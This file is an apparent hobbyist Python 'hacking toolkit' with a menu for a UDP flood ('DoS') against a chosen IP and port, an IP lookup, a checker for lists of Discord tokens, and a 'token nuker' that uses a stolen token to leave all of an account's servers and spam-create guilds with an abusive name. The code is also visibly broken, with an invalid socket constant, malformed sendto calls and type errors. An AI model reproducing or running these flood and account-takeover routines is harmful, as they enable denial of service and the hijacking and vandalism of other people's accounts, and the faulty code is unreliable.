# Made By Xao!

import os,sys
import socket
import threading
import random
import json
import requests
import colorama
from colorama import Fore, Back, Style

colorama.init(autoreset=True)

useragents = ["Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36" , "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36" , "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC"]
  
def main():
  os.system("clear")
  print(f"""
  {Fore.RED} /$$   /$$             /$$    {Fore.GREEN}                           /$$
  {Fore.RED}  $$  | $$            | $$     {Fore.GREEN}                         | $$
  {Fore.RED}| $$  | $$  /$$$$$$  /$$$$$$  {Fore.GREEN}  /$$$$$$   /$$$$$$   /$$$$$$$
  {Fore.RED}| $$$$$$$$ |____  $$|_  $$_/  {Fore.GREEN} /$$__  $$ /$$__  $$ /$$__  $$
  {Fore.RED}| $$__  $$  /$$$$$$$  | $$    {Fore.GREEN}| $$  \__/| $$$$$$$$| $$  | $$
  {Fore.RED}| $$  | $$ /$$__  $$  | $$ /$${Fore.GREEN}| $$      | $$_____/| $$  | $$
  {Fore.RED}| $$  | $$|  $$$$$$$  |  $$$$/{Fore.GREEN}| $$      |  $$$$$$$|  $$$$$$$
  {Fore.RED}|__/  |__/ \_______/   \___/ {Fore.GREEN} |__/       \_______/ \_______/
                                                            
                                                            
                                                            
   """)
  print("1) DoS")
  print("2) IP Lookup")
  print("3) Token Checker")
  print("4) Token Nuker")
  choice = input(">")
  if choice == "1":
    os.system("clear")
    print(f"""
{Fore.RED} /$$   /$$             /$$    {Fore.GREEN}                           /$$
{Fore.RED}  $$  | $$            | $$     {Fore.GREEN}                         | $$
{Fore.RED}| $$  | $$  /$$$$$$  /$$$$$$  {Fore.GREEN}  /$$$$$$   /$$$$$$   /$$$$$$$
{Fore.RED}| $$$$$$$$ |____  $$|_  $$_/  {Fore.GREEN} /$$__  $$ /$$__  $$ /$$__  $$
{Fore.RED}| $$__  $$  /$$$$$$$  | $$    {Fore.GREEN}| $$  \__/| $$$$$$$$| $$  | $$
{Fore.RED}| $$  | $$ /$$__  $$  | $$ /$${Fore.GREEN}| $$      | $$_____/| $$  | $$
{Fore.RED}| $$  | $$|  $$$$$$$  |  $$$$/{Fore.GREEN}| $$      |  $$$$$$$|  $$$$$$$
{Fore.RED}|__/  |__/ \_______/   \___/ {Fore.GREEN} |__/       \_______/ \_______/
                                                            
                                                            
                                                            
    """)
    print("Enter an IP.")
    ip = input(">")
    print("Enter the desired port.")
    port = input(">")
    print("Enter the amount of packets you want to send.")
    packet = input(">")
    print("Enter a thread number..")
    threads = input(">")
    lmao = random._urandom(1024)
    while True:
        try:
            s = socket.socket(socket.AF_INET , socket.SOCK_GRAM)
            s.connect((ip,port))
            s.sendto(lmao)
            for x in range(packet):
                s.sendto(lmao)
            print(" [+] HATRED ATTACK [+]")
        except:
            print(" [+] HATRED ATTACK [+]")
  if choice == "2":
      os.system("clear")
      print(f"""
    {Fore.RED} /$$   /$$             /$$    {Fore.GREEN}                           /$$
    {Fore.RED}  $$  | $$            | $$     {Fore.GREEN}                         | $$
    {Fore.RED}| $$  | $$  /$$$$$$  /$$$$$$  {Fore.GREEN}  /$$$$$$   /$$$$$$   /$$$$$$$
    {Fore.RED}| $$$$$$$$ |____  $$|_  $$_/  {Fore.GREEN} /$$__  $$ /$$__  $$ /$$__  $$
    {Fore.RED}| $$__  $$  /$$$$$$$  | $$    {Fore.GREEN}| $$  \__/| $$$$$$$$| $$  | $$
    {Fore.RED}| $$  | $$ /$$__  $$  | $$ /$${Fore.GREEN}| $$      | $$_____/| $$  | $$
    {Fore.RED}| $$  | $$|  $$$$$$$  |  $$$$/{Fore.GREEN}| $$      |  $$$$$$$|  $$$$$$$
    {Fore.RED}|__/  |__/ \_______/   \___/ {Fore.GREEN} |__/       \_______/ \_______/
                                                            
                                                            
                                                            
       """)
      print("Enter an IP.")
      ip_address = input(">")
      results = requests.get(f"http://ip-api.com/line/" + ip_address).text
      os.system("clear")
      print(results)
      xd = input("Press any key to continue!")
      main()
  if choice == "3":
    with open("tokens.txt") as f:
     for line in f:
         token = line.strip("\n")
         headers = {'Content-Type': 'application/json', 'authorization': token}
         url = "https://discordapp.com/api/v9/users/@me/library"
         r = requests.get(url, headers=headers)
         if r.status_code == 200:
             print("[+] Valid [+]".format(line.strip("\n")))
         else:
             print("[+] Invalid [+]")
  if choice == "4":
    print("Enter a token!")
    token = input(">")
    for n in [1, 2, 3]:
      cs = random.sample(useragents, k=n)
      useragents -= set(cs)
      print(cs)
      headers = {"authorization": token, "user-agent": useragents}
      leave_all_servers_request = requests.get(
        "https://canary.discord.com/api/v8/users/@me/guilds", headers=headers
    ).json()
      for guild in leave_all_servers_request:
        requests.delete(
            f"https://canary.discord.com/api/v8/users/@me/guilds/{guild['id']}",
            headers=headers,
        )
        print(f"Left Guild: {guild['id']}")
      headers = {"authorization": token, "user-agent": useragents}
      for count, i in enumerate(range(0, 25)):
        payload = {"name": "fucked by mournsec"}
        xd = requests.post(
            "https://canary.discord.com/api/v9/guilds", headers=headers, json=payload
        )

if __name__ == "__main__":
  main()